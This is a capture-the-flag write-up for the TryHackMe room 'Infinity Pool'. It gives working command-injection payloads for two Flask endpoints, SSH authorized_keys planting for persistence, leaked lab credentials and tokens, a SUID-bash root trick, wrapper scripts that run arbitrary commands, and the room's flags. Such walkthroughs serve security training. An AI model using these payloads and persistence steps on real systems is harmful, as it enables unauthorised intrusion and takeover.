Writeup on THM Holiday Hack 2026:
Day 11 - boot2root / Infinity Pool

Author: Hubert Feyrer / hubertf, 2026-08-08


Infinity Pool is a TryHackMe boot2root VM (Byte Lotus Resort "Closed Circuit" surveillance theme). Behind a public booking site sit three in-house Python/Flask services - an edge booking front end (user web), a watchtower ops console (user svc-watch), and an automation job runner (user root) - plus a stock FreePBX 16.0.45 PBX served by Apache as user asterisk. The full chain: command injection in the edge site (user flag) -> leaked FreePBX UCP credentials -> a voicemail Caller ID that hides the automation Bearer token -> a second command injection in the root-run automation service (root flag).

Challenge description

No visible edge. You trace the network to the horizon and find three systems nobody told you about on the other side.

Byte Lotus Hotel promises a seamless stay powered by modern technology. Sometimes the most interesting systems are the ones guests were never meant to see.

Today's itinerary: Find the user flag. Find the root flag.

1. Download

None. This is a boot2root-style VM; everything comes from the remote target over the VPN.

2. Docker/nc - what we get

A TryHackMe VM behind the VPN. It was redeployed several times during the work (the room hands out a fresh IP each time), so different IPs appear below; the box is identical each time. Externally only two ports are open - SSH and the edge site on port 80:

$ nmap -T5 -p- -sV 10.130.147.113
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu (protocol 2.0)
80/tcp open  http    gunicorn

The edge site is a small booking front end. It exposes a network self-test at /status that posts a host to /internal/netcheck:

$ curl -s http://10.130.147.113/status
... a form that POSTs field "host" to /internal/netcheck, rendering ping output ...

Conclusion: gunicorn means a Python/Flask app, not PHP. A user-supplied host that gets fed to a network check is the first thing to test for command injection.

3. Analysis steps

3.1 OS command injection in /internal/netcheck -> RCE as web (success)

The netcheck endpoint runs a ping against whatever host is submitted. If it builds the command line by string interpolation and runs it through a shell, a ; in the host field breaks out into arbitrary commands.

$ curl -s -X POST --data-urlencode "host=127.0.0.1; id" \
    http://10.130.147.113/internal/netcheck | sed -e 's/<[^>]*>//g'
... ping output for 127.0.0.1 ...
uid=1001(web) gid=1001(web) groups=1001(web)

Reading the source later (world-readable, the app runs as web) confirms the bug exactly - subprocess.run(f"ping -c 1 {host}", shell=True, ...):

$ cat /var/www/infinity_pool/edge/app.py
...
@app.route("/internal/netcheck", methods=["POST"])
def netcheck():
    host = request.form.get("host", "").strip()
    ...
    proc = subprocess.run(
        f"ping -c 1 {host}",
        shell=True,
        capture_output=True,
        text=True,
        timeout=15,
    )
...

Conclusion: arbitrary command execution as web. The wrapper rce.sh (section 4) frames each command between markers so only its output is printed.

3.2 User flag, and a stable shell (success)

A one-shot HTTP command channel is awkward for enumeration. Drop an SSH key into web's authorized_keys and switch to a real shell. Grab the user flag on the way.

$ sh rce.sh 'cat /home/web/user.txt'
THM{n0_v1s1bl3_3dg3}

$ ssh-keygen -t ed25519 -f hollow_key -N "" -C hollow
$ PUB=$(cat hollow_key.pub)
$ sh rce.sh "mkdir -p /home/web/.ssh && echo '$PUB' >> /home/web/.ssh/authorized_keys && chmod 700 /home/web/.ssh && chmod 600 /home/web/.ssh/authorized_keys"
$ ssh -i hollow_key web@10.130.147.113 id
uid=1001(web) gid=1001(web) groups=1001(web)

USER_FLAG = THM{n0_v1s1bl3_3dg3}

Conclusion: user flag secured, stable shell as web. Everything below is the hunt for root.

3.3 Map the internal services (success)

Only 22 and 80 face outward. From the foothold, list what listens on loopback - that is where the privileged machinery hides.

$ ssh -i hollow_key web@10.130.147.113 'ss -ltnp'
State  Local Address:Port   ...
LISTEN 0.0.0.0:80            # edge  (web)      - our RCE
LISTEN 0.0.0.0:22            # sshd
LISTEN 127.0.0.1:3000        # watchtower (svc-watch)
LISTEN 127.0.0.1:9000        # automation (root)
LISTEN 127.0.0.1:8080        # FreePBX / Apache (asterisk)
LISTEN 127.0.0.1:5038        # Asterisk Manager (AMI)
LISTEN 127.0.0.1:8088/8089   # Asterisk ARI
LISTEN 127.0.0.1:3306        # MariaDB

The three in-house services declare themselves. watchtower is an ops console:

$ ssh -i hollow_key web@10.130.147.113 'curl -s http://127.0.0.1:3000/api/config'
{"automation_endpoint":"http://127.0.0.1:9000",
 "note":"internal network only -- do not expose",
 "ops_note":"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
 "telephony_pass":"St4yN0t1c3d_2026",
 "telephony_portal":"http://127.0.0.1:8080/ucp",
 "telephony_user":"FreePBXUCPTemplateCreator"}

automation is the interesting one - it runs as root and advertises one gated action:

$ ssh -i hollow_key web@10.130.147.113 'curl -s http://127.0.0.1:9000/health'
{"endpoints":{"GET /health":"service status",
 "POST /jobs/export":{"auth":"Authorization: Bearer <automation key>",
   "body":{"report":"<report name>"},"desc":"archive the latest data export"}},
 "runs_as":"root","service":"automation","status":"ok"}

Conclusion: the root path is POST /jobs/export on the root-owned automation service, gated by a Bearer key. We need that key - and watchtower dangles a set of FreePBX UCP credentials whose ops_note says they were never rotated.

3.4 Log in to FreePBX UCP with the leaked credentials (success)

The obvious move: use FreePBXUCPTemplateCreator / St4yN0t1c3d_2026. FreePBX runs as asterisk, so a working login is a real pivot.

First, a false negative worth recording. Scripting the login with curl - fetch the form, carry the CSRF token and session cookie, POST username/password - always came back to the login form with an empty "Welcome " and an authenticated ajax poll returning {"status":"false","message":"forbidden"}:

$ # curl form-POST to /ucp/index.php?display=dashboard (token + session carried)
... still the login page, frm-login present; ajax poll -> {"status":"false","message":"forbidden"}

That made the credentials look like a decoy. They are not. The UCP login button ships disabled (<button id="btn-login" disabled>Loading...</button>) and the real login is a JavaScript/AJAX call the raw form-POST never triggers. Driving it from a browser is what works: forward the loopback port and log in for real.

$ ssh -i hollow_key -L 8080:127.0.0.1:8080 web@10.130.147.113
# then browse http://127.0.0.1:8080/ucp and log in as
#   FreePBXUCPTemplateCreator / St4yN0t1c3d_2026   -> dashboard opens

Confirmed against the user-management table (read later, as root): the account is real, and its linked extension is the mailbox that matters in the next step.

# mysql asterisk -N -e "select id,username,description,default_extension from userman_users"
1  FreePBXUCPTemplateCreator  Autogenerated user For Template Creation  9919988

Conclusion: the credentials are valid; UCP opens for the "template creator" user, whose extension is 9919988. The failed curl route is a good reminder that a JS-gated login is not the same as a form POST.

3.5 A Voicemail widget leaks the automation Bearer token (success)

UCP lets a user add dashboard widgets for their own extension. Per the ExploitNotes writeup, the Voicemail widget is the one to add - the box seeds a voicemail message whose Caller ID carries the automation key.

Adding the Voicemail widget shows one message on mailbox 9919988 with a telling Caller ID. Reading the same message straight off disk as root confirms exactly what UCP displays:

# cat /var/spool/asterisk/voicemail/default/9919988/INBOX/msg0000.txt
...
callerid="Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>
...

Conclusion: the automation Bearer token is cc_auto_7b3f9a1c4e0d2f6a. (It is the same value the service loads from its root-only automation.env - AUTOMATION_TOKEN=cc_auto_7b3f9a1c4e0d2f6a - and it stayed constant across every redeploy.)

3.6 Command injection in /jobs/export -> root (success)

With the token, POST /jobs/export is reachable. The report field is the archive name - so the question is whether it is sanitised before being built into the tar command that runs as root.

The automation source (read as root afterwards) shows it is not:

# cat /var/www/infinity_pool/automation/app.py
...
TOKEN = os.environ["AUTOMATION_TOKEN"]
...
    report = body.get("report", "")
    ...
    cmd = f"tar czf {EXPORT_DIR}/{report}.tgz {DATA_DIR} 2>&1"
    proc = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return jsonify({"command": cmd, "output": proc.stdout + proc.stderr})

report lands in a shell=True string with no escaping. A ; breaks out of the tar command and runs anything as root:

$ ssh -i hollow_key web@10.130.147.113 'curl -s -X POST http://127.0.0.1:9000/jobs/export \
    -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
    -H "Content-Type: application/json" \
    -d "{\"report\":\"x; id; hostname\"}"'
{"command":"tar czf /var/automation/exports/x; id; hostname.tgz /var/automation/data 2>&1",
 "output":"...\nuid=0(root) gid=0(root) groups=0(root)\ntryhackme-2404\n..."}

Read the flag:

$ ssh -i hollow_key web@10.130.147.113 'curl -s -X POST http://127.0.0.1:9000/jobs/export \
    -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
    -H "Content-Type: application/json" \
    -d "{\"report\":\"x; cat /root/root.txt\"}"'
... "output":"...\nTHM{tr4c3d_t0_th3_h0r1z0n}\n..."

ROOT_FLAG = THM{tr4c3d_t0_th3_h0r1z0n}

Every #-prompt read shown above (the userman_users table in 3.4, the voicemail message in 3.5, the automation source in 3.6) was taken from a real root shell, obtained from this same injection - copy bash, set it SUID, run it with -p. No nested quoting, so it is reproducible as-is:

$ ssh -i hollow_key web@10.130.147.113 'sh -s' < root.sh 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
$ ssh -i hollow_key web@10.130.147.113 -t '/tmp/rootbash -p'
# id
uid=0(root) gid=0(root) groups=0(root)

Conclusion: root. The same class of bug as the foothold - unsanitised input into a shell=True command - but this time the service runs as root.

3.7 Dead ends worth recording (failed)

Two lines of attack ate a lot of time before the UCP route landed; they are worth noting so the next person skips them.

Conclusion: the intended path is entirely the app chain - edge injection, UCP login, voicemail token leak, automation injection - not a local privesc primitive and not the FreePBX CVE.

4. Solution

The foothold RCE wrapper, rce.sh:

#!/bin/sh
# RCE on Infinity Pool via OS command injection in /internal/netcheck (host param).
# usage: sh rce.sh '<shell command>'
T=http://10.130.147.113
curl -s -m 25 -X POST --data-urlencode "host=127.0.0.1; echo ===M===; $*; echo ===E===" \
  "$T/internal/netcheck" \
  | sed -e 's/<[^>]*>//g' | awk '/===M===/{f=1;next} /===E===/{f=0} f'

The root step, once the token is known - a single request runs a command as root through the report injection (run from the box, or over the SSH port-forward):

#!/bin/sh
# Root command execution on Infinity Pool via the automation /jobs/export report injection.
# usage: sh root.sh '<shell command>'
TOK=cc_auto_7b3f9a1c4e0d2f6a
curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer $TOK" \
  -H "Content-Type: application/json" \
  -d "{\"report\":\"x; $* #\"}"

5. Run it

$ sh rce.sh 'id; cat /home/web/user.txt'
uid=1001(web) gid=1001(web) groups=1001(web)
THM{n0_v1s1bl3_3dg3}

$ # (after leaking the token via the UCP Voicemail widget)
$ ssh -i hollow_key web@10.130.147.113 'sh -s' < root.sh 'id; cat /root/root.txt'
... "output":"uid=0(root) gid=0(root) groups=0(root)\nTHM{tr4c3d_t0_th3_h0r1z0n}\n..."

USER_FLAG = THM{n0_v1s1bl3_3dg3}
ROOT_FLAG = THM{tr4c3d_t0_th3_h0r1z0n}

6. Summary of how the exploit works

#StageMechanism
1Foothold (user) OS command injection in the edge site: /internal/netcheck runs subprocess.run(f"ping -c 1 {host}", shell=True) on an unsanitised host - a ; yields RCE as web. User flag from /home/web/user.txt.
2Credential leak watchtower's /api/config (loopback, svc-watch) prints the un-rotated FreePBX UCP credentials FreePBXUCPTemplateCreator / St4yN0t1c3d_2026.
3UCP login Log in to FreePBX UCP in a browser over an SSH port-forward (the login is JS/AJAX, not a plain form POST). The account's extension is 9919988.
4Token leak Add a Voicemail widget: mailbox 9919988 holds a seeded message whose Caller ID is "Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000> - the root automation Bearer token.
5Root The token authenticates to the root-run automation service. Its POST /jobs/export builds tar czf .../{report}.tgz ... with shell=True; an unsanitised report is a second command injection - this one as root. Root flag from /root/root.txt.

Credit: the last stretch of this box - that the leaked FreePBX credentials really do work, and that a UCP Voicemail widget is what surfaces the automation token - came from ExploitNotes' writeup, TryHackMe Infinity Pool Writeup. We had the whole architecture mapped and were stuck on exactly that step; their note unblocked it. Every fact above was then re-verified first-hand on our own instance.